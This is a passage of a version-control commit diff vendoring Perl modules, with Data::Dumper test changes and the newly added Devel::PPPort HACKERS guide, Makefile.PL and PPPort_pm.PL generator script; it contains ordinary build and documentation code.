         "\$Data::Dumper::Quotekeys = undef and Quotekeys(undef) are equivalent");
-    isnt($dumps{'ddqkzero'}, $dumps{'objqkundef'},
+    is($dumps{'ddqkzero'}, $dumps{'objqkundef'},
         "\$Data::Dumper::Quotekeys = undef and = 0 are equivalent");
     %dumps = ();
 

Modified: vendor/perl/dist/dist/Data-Dumper/t/terse.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/terse.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/terse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use warnings;
 
 use Data::Dumper;
-use Test::More tests => 6;
+use Test::More tests => 10;
 use lib qw( ./t/lib );
 use Testing qw( _dumptostr );
 
@@ -23,39 +23,26 @@
 WANT
 }
 
-my (%dumpstr);
 my $dumper;
 
 $dumper = Data::Dumper->new([$hash]);
-$dumpstr{noterse} = _dumptostr($dumper);
-# $VAR1 = {
-#           'foo' => 42
-#         };
+my $dumpstr_noterse = _dumptostr($dumper);
 
 $dumper = Data::Dumper->new([$hash]);
 $dumper->Terse();
-$dumpstr{terse_no_arg} = _dumptostr($dumper);
+is _dumptostr($dumper), $dumpstr_noterse;
 
 $dumper = Data::Dumper->new([$hash]);
 $dumper->Terse(0);
-$dumpstr{terse_0} = _dumptostr($dumper);
+is _dumptostr($dumper), $dumpstr_noterse;
 
 $dumper = Data::Dumper->new([$hash]);
 $dumper->Terse(1);
-$dumpstr{terse_1} = _dumptostr($dumper);
-# {
-#   'foo' => 42
-# }
+isnt _dumptostr($dumper), $dumpstr_noterse;
 
 $dumper = Data::Dumper->new([$hash]);
-$dumper->Terse(undef);
-$dumpstr{terse_undef} = _dumptostr($dumper);
-
-is($dumpstr{noterse}, $dumpstr{terse_no_arg},
-    "absence of Terse is same as Terse()");
-is($dumpstr{noterse}, $dumpstr{terse_0},
-    "absence of Terse is same as Terse(0)");
-isnt($dumpstr{noterse}, $dumpstr{terse_1},
-    "absence of Terse is different from Terse(1)");
-is($dumpstr{noterse}, $dumpstr{terse_undef},
-    "absence of Terse is same as Terse(undef)");
+is $dumper->Terse(1), $dumper;
+is $dumper->Terse, 1;
+is $dumper->Terse(undef), $dumper;
+is $dumper->Terse, undef;
+is _dumptostr($dumper), $dumpstr_noterse;

Added: vendor/perl/dist/dist/Devel-PPPort/HACKERS
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/HACKERS	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/HACKERS	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,324 @@
+=head1 NAME
+
+HACKERS - Devel::PPPort internals for hackers
+
+=head1 SYNOPSIS
+
+So you probably want to hack C<Devel::PPPort>?
+
+Well, here's some information to get you started with what's
+lying around in this distribution.
+
+=head1 DESCRIPTION
+
+=head2 How to build 366 versions of Perl
+
+C<Devel::PPPort> supports Perl versions between 5.003 and bleadperl.
+To guarantee this support, I need some of these versions on my
+machine. I currently have 366 different Perl version/configuration
+combinations installed on my laptop.
+
+As many of the old Perl distributions need patching to compile
+cleanly on newer systems (and because building 366 Perls by hand
+just isn't fun), I wrote a tool to build all the different
+versions and configurations. You can find it in F<devel/buildperl.pl>.
+It can currently build the following Perl releases:
+
+    5.003
+    5.004 - 5.004_05
+    5.005 - 5.005_04
+    5.6.x
+    5.7.x
+    5.8.x
+    5.9.x
+    5.1x.x
+
+=head2 Fully automatic API checks
+
+Knowing which parts of the API are not backwards compatible and
+probably need C<Devel::PPPort> support is another problem that's
+not easy to deal with manually. If you run
+
+    perl Makefile.PL --with-apicheck
+
+a C file is generated by F<parts/apicheck.pl> that is compiled
+and linked with C<Devel::PPPort>. This C file has the purpose of
+using each of the public API functions/macros once.
+
+The required information is derived from F<parts/embed.fnc> (just
+a copy of bleadperl's F<embed.fnc>), F<parts/apidoc.fnc> (which
+is generated by F<devel/mkapidoc.sh> and simply collects the rest
+of the apidoc entries spread over the Perl source code) and
+F<parts/ppport.fnc> (which lists all API provided purely by
+Devel::PPPort).
+The generated C file F<apicheck.c> is currently about 500k in size
+and takes quite a while to compile.
+
+Usually, F<apicheck.c> won't compile with older perls. And even if
+it compiles, there's still a good chance of the dynamic linker
+failing at C<make test> time. But that's on purpose!
+
+We can use these failures to find changes in the API automatically.
+The two Perl scripts F<devel/mktodo> and F<devel/mktodo.pl>
+repeatedly run C<Devel::PPPort> with the apicheck code through
+all different versions of perl. Scanning the output of the compiler
+and the dynamic linker for errors, the files in F<parts/todo/> are
+generated. These files list all parts of the public API that don't
+work with less than a certain version of Perl.
+
+This information is in turn used by F<parts/apicheck.pl> to mask
+API calls in the generated C file for these versions, so the
+process can be stopped by the time F<apicheck.c> compiles cleanly
+and the dynamic linker is happy. (Actually, this process may generate
+false positives, so by default each API call is checked once more
+afterwards.)
+
+Running F<devel/mktodo> takes about an hour, depending of course
+on the machine you're running it on. If you run it with
+the C<--nocheck> option, it won't recheck the API calls that failed
+in the compilation stage and it'll take significantly less time.
+Running with C<--nocheck> should usually be safe.
+
+When running F<devel/mktodo> with the C<--base> option, it will
+generate the I<baseline> todo files by disabling all functionality
+provided by C<Devel::PPPort>. These are required for implementing
+the C<--compat-version> option of the F<ppport.h> script. The
+baseline todo files hold the information about which version of
+Perl lacks a certain part of the API.
+
+However, only the documented public API can be checked this way.
+And since C<Devel::PPPort> provides more macros, these would not be
+affected by C<--compat-version>. It's the job of F<devel/scanprov>
+to figure out the baseline information for all remaining provided
+macros by scanning the include files in the F<CORE> directory of
+various Perl versions.
+
+The whole process isn't platform independent. It has currently been
+tested only under Linux, and it definitely requires at least C<gcc> and
+the C<nm> utility.
+
+It's not very often that one has to regenerate the baseline and todo
+files. If you have to, you can either run F<devel/regenerate> or just
+execute the following steps by hand:
+
+=over 4
+
+=item *
+
+You need a whole bunch of different Perls. The more, the better.
+You can use F<devel/buildperl.pl> to build them. I keep my perls
+in F</tmp/perl>, so most of the tools take this as a default.
+
+=item *
+
+You also need a freshly built bleadperl that is in the path under
+exactly this name. (The name of the executable is currently hardcoded
+in F<devel/mktodo> and F<devel/scanprov>.)
+
+=item *
+
+Remove all existing todo files in the F<parts/base> and
+F<parts/todo> directories.
+
+=item *
+
+Update the API information. Copy the latest F<embed.fnc> file from
+bleadperl to the F<parts> directory and run F<devel/mkapidoc.sh> to
+collect the remaining information in F<parts/apidoc.fnc>.
+
+=item *
+
+Build the new baseline by running
+
+    perl devel/mktodo --base
+
+in the root directory of the distribution. When it's finished,
+move all files from the F<parts/todo> directory to F<parts/base>.
+
+=item *
+
+Build the new todo files by running
+
+    perl devel/mktodo
+
+in the root directory of the distribution.
+
+=item *
+
+Finally, add the remaining baseline information by running
+
+    perl Makefile.PL && make
+    perl devel/scanprov --mode=write
+
+=back
+
+=head2 Implementation
+
+Residing in F<parts/inc/> is the "heart" of C<Devel::PPPort>. Each
+of the files implements a part of the supported API, along with
+hints, dependency information, XS code and tests.
+The files are in a POD-like format that is parsed using the
+functions in F<parts/ppptools.pl>.
+
+The scripts F<PPPort_pm.PL>, F<PPPort_xs.PL> and F<mktests.PL> all
+use the information in F<parts/inc/> to generate the main module
+F<PPPort.pm>, the XS code in F<RealPPPort.xs> and various test files
+in F<t/>.
+
+All of these files could be generated on the fly while building
+C<Devel::PPPort>, but not having the tests in F<t/> will confuse
+TEST/harness in the core. Not having F<PPPort.pm> will be bad for
+viewing the docs on C<search.cpan.org>. So unfortunately, it's
+unavoidable to put some redundancy into the package.
+
+=head2 Adding stuff to Devel::PPPort
+
+First, check if the code you plan to add fits into one of the
+existing files in F<parts/inc/>. If not, just start a new one and
+remember to include it from within F<PPPort_pm.PL>.
+
+Each file holds all relevant data for implementing a certain part
+of the API:
+
+=over 2
+
+=item *
+
+A list of the provided API in the C<=provides> section.
+
+=item *
+
+The implementation to add to F<ppport.h> in the C<=implementation>
+section.
+
+=item *
+
+The code required to add to PPPort.xs for testing the implementation.
+This code goes into the C<=xshead>, C<=xsinit>, C<=xsmisc>, C<=xsboot>
+and C<=xsubs> section. Have a look at the template at the bottom
+of F<PPPort_xs.PL> to see where the code ends up.
+
+=item *
+
+The tests in the C<=tests> section. Remember not to use any fancy
+modules or syntax elements, as the test code should be able to run
+with Perl 5.003, which, for example, doesn't support C<my> in
+C<for>-loops:
+
+    for my $x (1, 2, 3) { }    # won't work with 5.003
+
+You can use C<ok()> to report success or failure:
+
+    ok($got == 42);
+    ok($got, $expected);
+
+Regular expressions are not supported as the second argument to C<ok>,
+because older perls do not support the C<qr> operator.
+
+=back
+
+It's usually the best approach to just copy an existing file and
+use it as a template.
+
+=head2 Implementation Hints
+
+In the C<=implementation> section, you can use
+
+  __UNDEFINED__ macro    some definition
+
+instead of
+
+  #ifndef macro
+  #  define macro    some definition
+  #endif
+
+The macro can have optional arguments and the definition can even
+span multiple lines, like in
+
+  __UNDEFINED__ SvMAGIC_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+                (((XPVMG*) SvANY(sv))->xmg_magic = (val)); } STMT_END
+
+This usually makes the code more compact and readable. And you
+only have to add C<__UNDEFINED__> to the C<=provided> section.
+
+Version checking can be tricky if you want to do it correct.
+You can use
+
+  #if { VERSION < 5.9.3 }
+
+instead of
+
+  #if ((PERL_VERSION < 9) || (PERL_VERSION == 9 && PERL_SUBVERSION < 3))
+
+The version number can be either of the new form C<5.x.x> or of the older
+form C<5.00x_yy>. Both are translated into the correct preprocessor
+statements. It is also possible to combine this with other statements:
+
+  #if { VERSION >= 5.004 } && !defined(sv_vcatpvf)
+    /* a */
+  #elif { VERSION < 5.004_63 } && { VERSION != 5.004_05 }
+    /* b */
+  #endif
+
+This not only works in the C<=implementation> section, but also in
+the C<=xsubs>, C<=xsinit>, C<=xsmisc>, C<=xshead> and C<=xsboot> sections.
+
+=head2 Testing
+
+To automatically test C<Devel::PPPort> with lots of different Perl
+versions, you can use the F<soak> script. Just pass it a list of
+all Perl binaries you want to test.
+
+=head2 Special Makefile targets
+
+You can use
+
+    make regen
+
+to regenerate all of the autogenerated files. To get rid of all
+generated files (except for F<parts/todo/*> and F<parts/base/*>),
+use
+
+    make purge_all
+
+That's it.
+
+=head2 Submitting Patches
+
+If you've added some functionality to C<Devel::PPPort>, please
+consider submitting a patch with your work to P5P by sending a mail
+L<perlbug at perl.org|mailto:perlbug at perl.org>.
+
+When submitting patches, please only add the relevant changes
+and don't include the differences of the generated files. You
+can use the C<purge_all> target to delete all autogenerated
+files.
+
+=head2 Integrating into the Perl core
+
+When integrating this module into the Perl core, be sure to
+remove the following files from the distribution. They are
+either not needed or generated on the fly when building this
+module in the core:
+
+  MANIFEST
+  META.yml
+  PPPort.pm
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See F<ppport.h> and F<devel/regenerate>.
+
+=cut

Added: vendor/perl/dist/dist/Devel-PPPort/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/Makefile.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,154 @@
+################################################################################
+#
+#  Makefile.PL -- generate Makefile
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+require 5.003;
+
+use strict;
+use ExtUtils::MakeMaker;
+
+use vars '%opt';  # needs to be global, and we can't use 'our'
+
+unless ($ENV{'PERL_CORE'}) {
+  $ENV{'PERL_CORE'} = 1 if grep { $_ eq 'PERL_CORE=1' } @ARGV;
+}
+
+ at ARGV = map { /^--with-(apicheck)$/ && ++$opt{$1} ? () : $_ } @ARGV;
+
+WriteMakefile(
+  NAME          => 'Devel::PPPort',
+  VERSION_FROM  => 'PPPort_pm.PL',
+  PM            => { 'PPPort.pm' => '$(INST_LIBDIR)/PPPort.pm' },
+  H             => [ qw(ppport.h) ],
+  OBJECT        => 'RealPPPort$(OBJ_EXT) $(O_FILES)',
+  XSPROTOARG    => '-noprototypes',
+  CONFIGURE     => \&configure,
+  META_MERGE    => {
+    'meta-spec' => {
+      version => 2,
+    },
+    resources => {
+      bugtracker => {
+        web => 'https://rt.perl.org/rt3/',
+      },
+      repository => {
+        type => 'git',
+        url  => 'git://perl5.git.perl.org/perl.git',
+        web  => 'https://perl5.git.perl.org/perl.git',
+      },
+    },
+  },
+);
+
+sub configure
+{
+  my @clean    = qw{ $(H_FILES) RealPPPort.xs RealPPPort.c };
+  my %depend   = ('$(OBJECT)' => '$(H_FILES)');
+  my @C_FILES  = qw{ module2.c module3.c },
+  my %PL_FILES = (
+    'ppport_h.PL'  => 'ppport.h',
+    'PPPort_pm.PL' => 'PPPort.pm',
+    'PPPort_xs.PL' => 'RealPPPort.xs',
+  );
+  my @moreopts;
+
+  if (eval $ExtUtils::MakeMaker::VERSION >= 6) {
+    push @moreopts, AUTHOR => 'Marcus Holland-Moritz <mhx at cpan.org>';
+    if (-f 'PPPort.pm') {
+      push @moreopts, ABSTRACT_FROM => 'PPPort.pm';
+    }
+  }
+
+  if (eval $ExtUtils::MakeMaker::VERSION >= 6.30_01) {
+    print "Setting license tag...\n";
+    push @moreopts, LICENSE => 'perl';
+  }
+
+  if ($ENV{'PERL_CORE'}) {
+    # Pods will be built by installman.
+    push @clean, 'PPPort.pm';
+  }
+  else {
+    # Devel::PPPort is in the core since 5.7.3
+    # 5.11.0+ has site before perl
+    push @moreopts, INSTALLDIRS => (
+      ($] >= 5.007003 and $] < 5.011)
+        ? 'perl'
+        : 'site'
+    );
+  }
+
+  if ($opt{'apicheck'}) {
+    $PL_FILES{'apicheck_c.PL'} = 'apicheck.c';
+    push @C_FILES, qw{ apicheck.c };
+    push @clean,   qw{ apicheck.c apicheck.i };
+    $depend{'apicheck.i'} = 'ppport.h';
+  }
+
+  return {
+    C        => \@C_FILES,
+    XS       => { 'RealPPPort.xs' => 'RealPPPort.c' },
+    PL_FILES => \%PL_FILES,
+    depend   => \%depend,
+    clean    => { FILES => "@clean" },
+    @moreopts,
+  };
+}
+
+sub MY::postamble
+{
+  package MY;
+  my $post = shift->SUPER::postamble(@_);
+  $post .= <<'POSTAMBLE';
+
+purge_all: realclean
+	@$(RM_F) PPPort.pm t/*.t
+
+regen_pm:
+	$(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) PPPort_pm.PL
+
+regen_xs:
+	$(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) PPPort_xs.PL
+
+regen_tests:
+	$(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) mktests.PL
+
+regen_h:
+	$(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) ppport_h.PL
+
+regen: regen_pm regen_xs regen_tests regen_h
+
+POSTAMBLE
+  return $post;
+}
+
+sub MY::c_o
+{
+  package MY;
+  my $co = shift->SUPER::c_o(@_);
+
+  if ($::opt{'apicheck'} && $co !~ /^\.c\.i:/m) {
+    print "Adding custom rule for preprocessed apicheck file...\n";
+
+    $co .= <<'CO'
+
+.SUFFIXES: .i
+
+.c.i:
+	$(CCCMD) -E -I$(PERL_INC) $(DEFINE) $*.c > $*.i
+CO
+  }
+
+  return $co;
+}

Added: vendor/perl/dist/dist/Devel-PPPort/PPPort.xs
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/PPPort.xs	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/PPPort.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+This is just a dummy file to let Configure know that Devel::PPPort
+is an XS module. The real XS code is autogenerated from PPPort_xs.PL
+when this module is built and will go to RealPPPort.xs.

Added: vendor/perl/dist/dist/Devel-PPPort/PPPort_pm.PL
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/PPPort_pm.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/PPPort_pm.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,681 @@
+################################################################################
+#
+#  PPPort_pm.PL -- generate PPPort.pm
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my $INCLUDE = 'parts/inc';
+my $DPPP = 'DPPP_';
+
+my %embed = map { ( $_->{name} => $_ ) }
+            parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc));
+
+my(%provides, %prototypes, %explicit);
+
+my $data = do { local $/; <DATA> };
+$data =~ s{^\%(include)\s+(\w+)((?:[^\S\r\n]+.*?)?)\s*$}
+          {eval "$1('$2', $3)" or die $@}gem;
+
+$data = expand($data);
+
+my @api = sort { lc $a cmp lc $b or $a cmp $b } keys %provides;
+
+$data =~ s{^(.*)__PROVIDED_API__(\s*?)^}
+          {join '', map "$1$_\n", @api}gem;
+
+{
+  my $len = 0;
+  for (keys %explicit) {
+    length > $len and $len = length;
+  }
+  my $format = sprintf '%%-%ds  %%-%ds  %%s', $len+2, $len+5;
+  $len = 3*$len + 23;
+
+$data =~ s!^(.*)__EXPLICIT_API__(\s*?)^!
+           sprintf("$1$format\n", 'Function / Variable', 'Static Request', 'Global Request') .
+           $1 . '-'x$len . "\n" .
+           join('', map { sprintf "$1$format\n", $explicit{$_} eq 'var' ? $_ : "$_()", "NEED_$_", "NEED_${_}_GLOBAL" }
+                    sort keys %explicit)
+          !gem;
+}
+
+my %raw_base = %{&parse_todo('parts/base')};
+my %raw_todo = %{&parse_todo('parts/todo')};
+
+my %todo;
+for (keys %raw_todo) {
+  push @{$todo{$raw_todo{$_}}}, $_;
+}
+
+# check consistency
+for (@api) {
+  if (exists $raw_todo{$_} and exists $raw_base{$_}) {
+    if ($raw_base{$_} eq $raw_todo{$_}) {
+      warn "$INCLUDE/$provides{$_} provides $_, which is still marked "
+           . "todo for " . format_version($raw_todo{$_}) . "\n";
+    }
+    else {
+      check(2, "$_ was ported back to " . format_version($raw_todo{$_}) .
+               " (baseline revision: " . format_version($raw_base{$_}) . ").");
+    }
+  }
+}
+
+my @perl_api;
+for (keys %provides) {
+  next if /^Perl_(.*)/ && exists $embed{$1};
+  next if exists $embed{$_};
+  push @perl_api, $_;
+  check(2, "No API definition for provided element $_ found.");
+}
+
+push @perl_api, keys %embed;
+
+for (@perl_api) {
+  if (exists $provides{$_} && !exists $raw_base{$_}) {
+    check(2, "Mmmh, $_ doesn't seem to need backporting.");
+  }
+  my $line = "$_|" . (exists $provides{$_} && exists $raw_base{$_} ? $raw_base{$_} : '') . '|';
+  $line .= ($raw_todo{$_} || '') . '|';
+  $line .= 'p' if exists $provides{$_};
+  if (exists $embed{$_}) {
+    my $e = $embed{$_};
+    if (exists $e->{flags}{p}) {
+      my $args = $e->{args};
+      $line .= 'v' if @$args && $args->[-1][0] eq '...';
+    }
+    $line .= 'n' if exists $e->{flags}{n};
+  }
+  $_ = $line;
+}
+
+$data =~ s/^([\t ]*)__PERL_API__(\s*?)$/
+           join "\n", map "$1$_", sort @perl_api
+          /gem;
+
+my @todo;
+for (reverse sort keys %todo) {
+  my $ver = format_version($_);
+  my $todo = "=item perl $ver\n\n";
+  for (sort @{$todo{$_}}) {
+    $todo .= "  $_\n";
+  }
+  push @todo, $todo;
+}
+
+$data =~ s{^__UNSUPPORTED_API__(\s*?)^}
+          {join "\n", @todo}gem;
+
+$data =~ s{__MIN_PERL__}{5.003}g;
+$data =~ s{__MAX_PERL__}{5.20}g;
+
+open FH, ">PPPort.pm" or die "PPPort.pm: $!\n";
+print FH $data;
+close FH;
+
+exit 0;
+
+sub include
+{
+  my($file, $opt) = @_;
+
+  print "including $file\n";
+
+  my $data = parse_partspec("$INCLUDE/$file");
+
+  for (@{$data->{provides}}) {
+    if (exists $provides{$_}) {
+      if ($provides{$_} ne $file) {
+        warn "$file: $_ already provided by $provides{$_}\n";
+      }
+    }
+    else {
+      $provides{$_} = $file;
+    }
+  }
+
+  for (keys %{$data->{prototypes}}) {
+    $prototypes{$_} = $data->{prototypes}{$_};
+    $data->{implementation} =~ s/^$_(?=\s*\()/$DPPP(my_$_)/mg;
+  }
+
+  my $out = $data->{implementation};
+
+  if (exists $opt->{indent}) {
+    $out =~ s/^/$opt->{indent}/gm;
+  }
+
+  return $out;
+}
+
+sub expand
+{
+  my $code = shift;
+  $code =~ s{^(\s*#\s*(?:el)?if\s+)(.*)$}{$1.expand_pp_expressions($2)}gem;
+  $code =~ s{^\s*
+              __UNDEFINED__
+              \s+
+              (
+                ( \w+ )
+                (?: \( [^)]* \) )?
+              )
+              [^\r\n\S]*
+              (
+                (?:[^\r\n\\]|\\[^\r\n])*
+                (?:
+                  \\
+                  (?:\r\n|[\r\n])
+                  (?:[^\r\n\\]|\\[^\r\n])*
+                )*
+              )
+            \s*$}
+            {expand_undefined($2, $1, $3)}gemx;
+  $code =~ s{^([^\S\r\n]*)__NEED_VAR__\s+(.*?)\s+(\w+)(?:\s*=\s*([^;]+?))?\s*;\s*$}
+            {expand_need_var($1, $3, $2, $4)}gem;
+  $code =~ s{^([^\S\r\n]*)__NEED_DUMMY_VAR__\s+(.*?)\s+(\w+)(?:\s*=\s*([^;]+?))?\s*;\s*$}
+            {expand_need_dummy_var($1, $3, $2, $4)}gem;
+  return $code;
+}
+
+sub expand_need_var
+{
+  my($indent, $var, $type, $init) = @_;
+
+  $explicit{$var} = 'var';
+
+  my $myvar = "$DPPP(my_$var)";
+  $init = defined $init ? " = $init" : "";
+
+  my $code = <<ENDCODE;
+#if defined(NEED_$var)
+static $type $myvar$init;
+#elif defined(NEED_${var}_GLOBAL)
+$type $myvar$init;
+#else
+extern $type $myvar;
+#endif
+#define $var $myvar
+ENDCODE
+
+  $code =~ s/^/$indent/mg;
+
+  return $code;
+}
+
+sub expand_need_dummy_var
+{
+  my($indent, $var, $type, $init) = @_;
+
+  $explicit{$var} = 'var';
+
+  my $myvar = "$DPPP(dummy_$var)";
+  $init = defined $init ? " = $init" : "";
+
+  my $code = <<ENDCODE;
+#if defined(NEED_$var)
+static $type $myvar$init;
+#elif defined(NEED_${var}_GLOBAL)
+$type $myvar$init;
+#else
+extern $type $myvar;
+#endif
+ENDCODE
+
+  $code =~ s/^/$indent/mg;
+
+  return $code;
+}
+
+sub expand_undefined
+{
+  my($macro, $withargs, $def) = @_;
+  my $rv = "#ifndef $macro\n#  define ";
+
+  if (defined $def && $def =~ /\S/) {
+    $rv .= sprintf "%-30s %s", $withargs, $def;
+  }
+  else {
+    $rv .= $withargs;
+  }
+
+  $rv .= "\n#endif\n";
+
+  return $rv;
+}
+
+sub expand_pp_expressions
+{
+  my $pp = shift;
+  $pp =~ s/\{([^\}]+)\}/expand_pp_expr($1)/ge;
+  return $pp;
+}
+
+sub expand_pp_expr
+{
+  my $expr = shift;
+
+  if ($expr =~ /^\s*need\s+(\w+)\s*$/i) {
+    my $func = $1;
+    my $e = $embed{$func} or die "unknown API function '$func' in NEED\n";
+    my $proto = make_prototype($e);
+    if (exists $prototypes{$func}) {
+      if (compare_prototypes($proto, $prototypes{$func})) {
+        check(1, "differing prototypes for $func:\n  API: $proto\n  PPP: $prototypes{$func}");
+        $proto = $prototypes{$func};
+      }
+    }
+    else {
+      warn "found no prototype for $func\n";;
+    }
+
+    $explicit{$func} = 'func';
+
+    $proto =~ s/\b$func(?=\s*\()/$DPPP(my_$func)/;
+    my $embed = make_embed($e);
+
+    return "defined(NEED_$func)\n"
+         . "static $proto;\n"
+         . "static\n"
+         . "#else\n"
+         . "extern $proto;\n"
+         . "#endif\n"
+         . "\n"
+         . "#if defined(NEED_$func) || defined(NEED_${func}_GLOBAL)\n"
+         . "\n"
+         . "$embed\n";
+  }
+
+  die "cannot expand preprocessor expression '$expr'\n";
+}
+
+sub make_embed
+{
+  my $f = shift;
+  my $n = $f->{name};
+  my $a = do { my $x = 'a'; join ',', map { $x++ } 1 .. @{$f->{args}} };
+  my $lastarg = ${$f->{args}}[-1];
+
+  if ($f->{flags}{n}) {
+    if ($f->{flags}{p}) {
+      return "#define $n $DPPP(my_$n)\n" .
+             "#define Perl_$n $DPPP(my_$n)";
+    }
+    else {
+      return "#define $n $DPPP(my_$n)";
+    }
+  }
+  else {
+    my $undef = <<UNDEF;
+#ifdef $n
+#  undef $n
+#endif
+UNDEF
+    if ($f->{flags}{p}) {
+      if ($f->{flags}{f}) {
+        return "#define Perl_$n $DPPP(my_$n)";
+      }
+      elsif (@$lastarg && $lastarg->[0] =~ /\.\.\./) {
+        return $undef . "#define $n $DPPP(my_$n)\n" .
+                        "#define Perl_$n $DPPP(my_$n)";
+      }
+      else {
+        return $undef . "#define $n($a) $DPPP(my_$n)(aTHX_ $a)\n" .
+                        "#define Perl_$n $DPPP(my_$n)";
+      }
+    }
+    else {
+      return $undef . "#define $n($a) $DPPP(my_$n)(aTHX_ $a)";
+    }
+  }
+}
+
+sub check
+{
+  my $level = shift;
+
+  if (exists $ENV{DPPP_CHECK_LEVEL} and $ENV{DPPP_CHECK_LEVEL} >= $level) {
+    print STDERR @_, "\n";
+  }
+}
+
+__DATA__
+################################################################################
+#
+#  !!!!! Do NOT edit this file directly! -- Edit PPPort_pm.PL instead. !!!!!
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by PPPort_pm.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+#
+#  Perl/Pollution/Portability
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+=head1 NAME
+
+Devel::PPPort - Perl/Pollution/Portability
+
+=head1 SYNOPSIS
+
+    Devel::PPPort::WriteFile();   # defaults to ./ppport.h
+    Devel::PPPort::WriteFile('someheader.h');
+
+    # Same as above but retrieve contents rather than write file
+    my $contents = Devel::PPPort::GetFileContents();
+    my $contents = Devel::PPPort::GetFileContents('someheader.h');
+
+=head1 DESCRIPTION
+
+Perl's API has changed over time, gaining new features, new functions,
+increasing its flexibility, and reducing the impact on the C namespace
+environment (reduced pollution). The header file written by this module,
+typically F<ppport.h>, attempts to bring some of the newer Perl API
+features to older versions of Perl, so that you can worry less about
+keeping track of old releases, but users can still reap the benefit.
+
+C<Devel::PPPort> contains two functions, C<WriteFile> and C<GetFileContents>.
+C<WriteFile>'s only purpose is to write the F<ppport.h> C header file.
+This file contains a series of macros and, if explicitly requested, functions
+that allow XS modules to be built using older versions of Perl. Currently,
+Perl versions from __MIN_PERL__ to __MAX_PERL__ are supported.
+
+C<GetFileContents> can be used to retrieve the file contents rather than
+writing it out.
+
+This module is used by C<h2xs> to write the file F<ppport.h>.
+
+=head2 Why use ppport.h?
+
+You should use F<ppport.h> in modern code so that your code will work
+with the widest range of Perl interpreters possible, without significant
+additional work.
+
+You should attempt older code to fully use F<ppport.h>, because the
+reduced pollution of newer Perl versions is an important thing. It's so
+important that the old polluting ways of original Perl modules will not be
+supported very far into the future, and your module will almost certainly
+break! By adapting to it now, you'll gain compatibility and a sense of
+having done the electronic ecology some good.
+
+=head2 How to use ppport.h
+
+Don't direct the users of your module to download C<Devel::PPPort>.
+They are most probably no XS writers. Also, don't make F<ppport.h>
+optional. Rather, just take the most recent copy of F<ppport.h> that
+you can find (e.g. by generating it with the latest C<Devel::PPPort>
+release from CPAN), copy it into your project, adjust your project to
+use it, and distribute the header along with your module.
+
+=head2 Running ppport.h
+
+But F<ppport.h> is more than just a C header. It's also a Perl script
+that can check your source code. It will suggest hints and portability
+notes, and can even make suggestions on how to change your code. You
+can run it like any other Perl program:
+
+    perl ppport.h [options] [files]
+
+It also has embedded documentation, so you can use
+
+    perldoc ppport.h
+
+to find out more about how to use it.
+
+=head1 FUNCTIONS
+
+=head2 WriteFile
+
+C<WriteFile> takes one optional argument. When called with one
+argument, it expects to be passed a filename. When called with
+no arguments, it defaults to the filename F<ppport.h>.
+
+The function returns a true value if the file was written successfully.
+Otherwise it returns a false value.
+
+=head2 GetFileContents
+
+C<GetFileContents> behaves like C<WriteFile> above, but returns the contents
+of the would-be file rather than writing it out.
+
+=head1 COMPATIBILITY
+
+F<ppport.h> supports Perl versions from __MIN_PERL__ to __MAX_PERL__
+in threaded and non-threaded configurations.
+
+=head2 Provided Perl compatibility API
+
+The header file written by this module, typically F<ppport.h>, provides
+access to the following elements of the Perl API that is not available
+in older Perl releases:
+
+    __PROVIDED_API__
+
+=head2 Perl API not supported by ppport.h
+
+There is still a big part of the API not supported by F<ppport.h>.
+Either because it doesn't make sense to back-port that part of the API,
